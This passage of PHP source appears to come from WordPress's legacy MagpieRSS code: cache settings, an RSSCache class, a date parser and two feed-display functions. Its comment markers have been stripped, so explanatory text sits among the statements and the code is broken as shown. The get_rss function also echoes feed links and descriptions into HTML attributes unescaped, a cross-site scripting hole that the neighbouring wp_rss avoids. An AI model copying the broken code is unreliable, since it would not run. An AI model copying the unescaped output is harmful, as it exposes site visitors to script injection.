if ( !defined('MAGPIE_CACHE_AGE') ) {
define('MAGPIE_CACHE_AGE', 60*60); one hour
}
if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
define('MAGPIE_CACHE_FRESH_ONLY', 0);
}
if ( !defined('MAGPIE_DEBUG') ) {
define('MAGPIE_DEBUG', 0);
}
if ( !defined('MAGPIE_USER_AGENT') ) {
$ua = 'WordPress/' . $GLOBALS['wp_version'];
if ( MAGPIE_CACHE_ON ) {
$ua = $ua . ')';
}
else {
$ua = $ua . '; No cache)';
}
define('MAGPIE_USER_AGENT', $ua);
}
if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
define('MAGPIE_FETCH_TIME_OUT', 2); 2 second timeout
}
use gzip encoding to fetch rss files if supported?
if ( !defined('MAGPIE_USE_GZIP') ) {
define('MAGPIE_USE_GZIP', true);
}
}
function is_info ($sc) {
return $sc >= 100 && $sc < 200;
}
function is_success ($sc) {
return $sc >= 200 && $sc < 300;
}
function is_redirect ($sc) {
return $sc >= 300 && $sc < 400;
}
function is_error ($sc) {
return $sc >= 400 && $sc < 600;
}
function is_client_error ($sc) {
return $sc >= 400 && $sc < 500;
}
function is_server_error ($sc) {
return $sc >= 500 && $sc < 600;
}
class RSSCache {
var $BASE_CACHE; where the cache files are stored
var $MAX_AGE = 43200; when are files stale, default twelve hours
var $ERROR = ''; accumulate error messages
*
* PHP5 constructor.
function __construct( $base = '', $age = '' ) {
$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
if ( $base ) {
$this->BASE_CACHE = $base;
}
if ( $age ) {
$this->MAX_AGE = $age;
}
}
*
* PHP4 constructor.
public function RSSCache( $base = '', $age = '' ) {
self::__construct( $base, $age );
}
=======================================================================*\
Function: set
Purpose: add an item to the cache, keyed on url
Input: url from which the rss file was fetched
Output: true on success
\*=======================================================================
function set ($url, $rss) {
$cache_option = 'rss_' . $this->file_name( $url );
set_transient($cache_option, $rss, $this->MAX_AGE);
return $cache_option;
}
=======================================================================*\
Function: get
Purpose: fetch an item from the cache
Input: url from which the rss file was fetched
Output: cached object on HIT, false on MISS
\*=======================================================================
function get ($url) {
$this->ERROR = "";
$cache_option = 'rss_' . $this->file_name( $url );
if ( ! $rss = get_transient( $cache_option ) ) {
$this->debug(
"Cache does not contain: $url (cache option: $cache_option)"
);
return 0;
}
return $rss;
}
=======================================================================*\
Function: check_cache
Purpose: check a url for membership in the cache
and whether the object is older then MAX_AGE (ie. STALE)
Input: url from which the rss file was fetched
Output: cached object on HIT, false on MISS
\*=======================================================================
function check_cache ( $url ) {
$this->ERROR = "";
$cache_option = 'rss_' . $this->file_name( $url );
if ( get_transient($cache_option) ) {
object exists and is current
return 'HIT';
} else {
object does not exist
return 'MISS';
}
}
=======================================================================*\
Function: serialize
\*=======================================================================
function serialize ( $rss ) {
return serialize( $rss );
}
=======================================================================*\
Function: unserialize
\*=======================================================================
function unserialize ( $data ) {
return unserialize( $data );
}
=======================================================================*\
Function: file_name
Purpose: map url to location in cache
Input: url from which the rss file was fetched
Output: a file name
\*=======================================================================
function file_name ($url) {
return md5( $url );
}
=======================================================================*\
Function: error
Purpose: register error
\*=======================================================================
function error ($errormsg, $lvl=E_USER_WARNING) {
$this->ERROR = $errormsg;
if ( MAGPIE_DEBUG ) {
trigger_error( $errormsg, $lvl);
}
else {
error_log( $errormsg, 0);
}
}
function debug ($debugmsg, $lvl=E_USER_NOTICE) {
if ( MAGPIE_DEBUG ) {
$this->error("MagpieRSS [debug] $debugmsg", $lvl);
}
}
}
if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {
# regex to match wc3dtf
$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";
if ( preg_match( $pat, $date_str, $match ) ) {
list( $year, $month, $day, $hours, $minutes, $seconds) =
array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);
# calc epoch for current date assuming GMT
$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
$offset = 0;
if ( $match[11] == 'Z' ) {
# zulu time, aka GMT
}
else {
list( $tz_mod, $tz_hour, $tz_min ) =
array( $match[8], $match[9], $match[10]);
# zero out the variables
if ( ! $tz_hour ) { $tz_hour = 0; }
if ( ! $tz_min ) { $tz_min = 0; }
$offset_secs = (($tz_hour*60)+$tz_min)*60;
# is timezone ahead of GMT? then subtract offset
#
if ( $tz_mod == '+' ) {
$offset_secs = $offset_secs * -1;
}
$offset = $offset_secs;
}
$epoch = $epoch + $offset;
return $epoch;
}
else {
return -1;
}
}
endif;
if ( !function_exists('wp_rss') ) :
*
* Display all RSS items in a HTML ordered list.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL of feed to display. Will not auto sense feed URL.
* @param int $num_items Optional. Number of items to display, default is all.
function wp_rss( $url, $num_items = -1 ) {
if ( $rss = fetch_rss( $url ) ) {
echo '<ul>';
if ( $num_items !== -1 ) {
$rss->items = array_slice( $rss->items, 0, $num_items );
}
foreach ( (array) $rss->items as $item ) {
printf(
'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
esc_url( $item['link'] ),
esc_attr( strip_tags( $item['description'] ) ),
esc_html( $item['title'] )
);
}
echo '</ul>';
} else {
_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
}
}
endif;
if ( !function_exists('get_rss') ) :
*
* Display RSS items in HTML list items.
*
* You have to specify which HTML list you want, either ordered or unordered
* before using the function. You also have to specify how many items you wish
* to display. You can't display all of them like you can with wp_rss()
* function.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL of feed to display. Will not auto sense feed URL.
* @param int $num_items Optional. Number of items to display, default is all.
* @return bool False on failure.
function get_rss ($url, $num_items = 5) { Like get posts, but for RSS
$rss = fetch_rss($url);
if ( $rss ) {
$rss->items = array_slice($rss->items, 0, $num_items);
foreach ( (array) $rss->items as $item ) {
echo "<li>\n";
echo "<a href='$item[link]' title='$item[description]'>";
echo esc_html($item['title']);
echo "</a><br />\n";
echo "</li>\n";
}
} else {
return false;
}
}
endif;
*/